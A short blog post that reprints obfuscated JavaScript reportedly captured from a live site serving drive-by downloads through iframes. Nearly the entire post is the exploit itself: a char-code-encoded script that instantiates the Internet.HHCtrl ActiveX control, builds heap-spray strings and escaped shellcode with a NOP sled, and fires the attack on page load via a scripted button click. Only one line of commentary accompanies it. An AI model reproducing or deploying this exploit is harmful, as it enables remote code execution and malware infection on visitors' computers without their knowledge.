Zeroday 01100100011010010

I’ve enclosed the code in a text box to make reading it a little easier. This code was found on a live site that is using the exploit via iframes to infect drive by downloaders. Extra br tags are a result of the blog software….

<br /> <script><br /> t=”60,83,67,82,73,80,84,32,108,97,110,103,117,97,103,101,61,74,97,118,97,83,99,114,105,112,116,62,104,72,72,67,116,114,108,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,73,110,116,101,114,110,101,116,46,72,72,67,116,114,108,46,49,34,41,59,13,10,118,97,114,32,101,118,105,108,32,61,32,117,110,101,115,99,97,112,101,40,34,37,117,48,48,48,98,37,117,48,48,48,98,37,117,48,48,48,98,37,117,48,48,48,98,34,41,59,13,10,118,97,114,32,73,109,97,103,101,115,32,61,32,34,65,99,116,105,118,101,88,46,34,32,43,32,101,118,105,108,32,43,32,34,82,116,108,65,108,108,111,99,97,116,101,72,101,97,112,82,116,108,67,114,101,97,116,101,72,101,97,112,34,59,13,10,118,97,114,32,99,111,117,110,116,32,61,32,48,59,118,97,114,32,109,97,120,99,111,117,110,116,32,61,32,49,48,59,102,117,110,99,116,105,111,110,32,67,108,105,99,107,84,111,40,41,123,32,104,72,72,67,116,114,108,46,73,109,97,103,101,32,61,32,73,109,97,103,101,115,59,125,13,10,102,117,110,99,116,105,111,110,32,71,111,116,73,116,40,41,123,32,99,111,117,110,116,43,43,59,32,105,102,40,99,111,117,110,116,32,60,32,109,97,120,99,111,117,110,116,41,32,123,32,32,120,46,111,110,99,108,105,99,107,40,41,59,32,32,71,111,116,73,116,40,41,59,32,125,125,13,10,102,117,110,99,116,105,111,110,32,66,117,105,108,100,67,111,110,116,101,120,116,40,41,123,32,112,97,121,108,111,97,100,32,61,32,117,110,101,115,99,97,112,101,40,34,37,117,57,48,57,48,37,117,54,48,57,48,37,117,49,55,101,98,37,117,54,52,53,101,37,117,51,48,97,49,37,117,48,48,48,48,37,117,48,53,48,48,37,117,48,56,48,48,37,117,48,48,48,48,37,117,102,56,56,98,37,117,48,48,98,57,37,117,48,48,48,52,37,117,102,51,48,48,37,117,102,102,97,52,37,117,101,56,101,48,37,117,102,102,101,52,37,117,102,102,102,102,37,117,97,49,54,52,37,117,48,48,51,48,37,117,48,48,48,48,37,117,52,48,56,98,37,117,56,98,48,99,37,117,49,99,55,48,37,117,56,98,97,100,37,117,48,56,55,48,37,117,101,99,56,49,37,117,48,50,48,48,37,117,48,48,48,48,37,117,101,99,56,98,37,117,101,56,98,98,37,117,48,50,48,102,37,117,56,98,48,48,37,117,56,53,48,51,37,117,48,102,99,48,37,117,98,98,56,53,37,117,48,48,48,48,37,117,102,102,48,48,37,117,101,57,48,51,37,117,48,50,50,49,37,117,48,48,48,48,37,117,56,57,53,98,37,117,50,48,53,100,37,117,54,56,53,54,37,117,102,101,57,56,37,117,48,101,56,97,37,117,98,49,101,56,37,117,48,48,48,48,37,117,56,57,48,48,37,117,48,99,52,53,37,117,54,56,53,54,37,117,52,101,56,101,37,117,101,99,48,101,37,117,97,51,101,56,37,117,48,48,48,48,37,117,56,57,48,48,37,117,48,52,52,53,37,117,54,56,53,54,37,117,55,57,99,49,37,117,98,56,101,53,37,117,57,53,101,56,37,117,48,48,48,48,37,117,56,57,48,48,37,117,49,99,52,53,37,117,54,56,53,54,37,117,99,54,49,98,37,117,55,57,52,54,37,117,56,55,101,56,37,117,48,48,48,48,37,117,56,57,48,48,37,117,49,48,52,53,37,117,54,56,53,54,37,117,102,99,97,97,37,117,55,99,48,100,37,117,55,57,101,56,37,117,48,48,48,48,37,117,56,57,48,48,37,117,48,56,52,53,37,117,54,56,53,54,37,117,56,52,101,55,37,117,98,52,54,57,37,117,54,98,101,56,37,117,48,48,48,48,37,117,56,57,48,48,37,117,49,52,52,53,37,117,101,48,98,98,37,117,48,50,48,102,37,117,56,57,48,48,37,117,51,51,48,51,37,117,99,55,102,54,37,117,50,56,52,53,37,117,53,50,53,53,37,117,52,100,52,99,37,117,52,53,99,55,37,117,52,102,50,99,37,117,48,48,52,101,37,117,56,100,48,48,37,117,50,56,53,100,37,117,102,102,53,51,37,117,48,52,53,53,37,117,54,56,53,48,37,117,49,97,51,54,37,117,55,48,50,102,37,117,51,102,101,56,37,117,48,48,48,48,37,117,56,57,48,48,37,117,50,52,52,53,37,117,55,102,54,97,37,117,53,100,56,100,37,117,53,51,50,56,37,117,53,53,102,102,37,117,99,55,49,99,37,117,48,53,52,52,37,117,53,99,50,56,37,117,54,53,50,101,37,117,99,55,55,56,37,117,48,53,52,52,37,117,54,53,50,99,37,117,48,48,48,48,37,117,53,54,48,48,37,117,56,100,53,54,37,117,50,56,55,100,37,117,102,102,53,55,37,117,50,48,55,53,37,117,102,102,53,54,37,117,50,52,53,53,37,117,53,55,53,54,37,117,53,53,102,102,37,117,101,56,48,99,37,117,48,48,54,50,37,117,48,48,48,48,37,117,99,52,56,49,37,117,48,50,48,48,37,117,48,48,48,48,37,117,51,51,54,49,37,117,99,50,99,48,37,117,48,48,48,52,37,117,56,98,53,53,37,117,53,49,101,99,37,117,56,98,53,51,37,117,48,56,55,100,37,117,53,100,56,98,37,117,53,54,48,99,37,117,55,51,56,98,37,117,56,98,51,99,37,117,49,101,55,52,37,117,48,51,55,56,37,117,53,54,102,51,37,117,55,54,56,98,37,117,48,51,50,48,37,117,51,51,102,51,37,117,52,57,99,57,37,117,97,100,52,49,37,117,99,51,48,51,37,117,51,51,53,54,37,117,48,102,102,54,37,117,49,48,98,101,37,117,102,50,51,97,37,117,48,56,55,52,37,117,99,101,99,49,37,117,48,51,48,100,37,117,52,48,102,50,37,117,102,49,101,98,37,117,102,101,51,98,37,117,55,53,53,101,37,117,53,97,101,53,37,117,101,98,56,98,37,117,53,97,56,98,37,117,48,51,50,52,37,117,54,54,100,100,37,117,48,99,56,98,37,117,56,98,52,98,37,117,49,99,53,97,37,117,100,100,48,51,37,117,48,52,56,98,37,117,48,51,56,98,37,117,53,101,99,53,37,117,53,57,53,98,37,117,99,50,53,100,37,117,48,48,48,56,37,117,57,50,101,57,37,117,48,48,48,48,37,117,53,101,48,48,37,117,56,48,98,102,37,117,48,50,48,99,37,117,98,57,48,48,37,117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/> t=eval(“String.fromCharCode(“+t+”)”);<br /> document.write(t);<br /> </script><br /> </HEAD><BODY onload=BuildContext();><br /> <BUTTON id=x onclick=ClickTo();><br /> </BUTTON><br />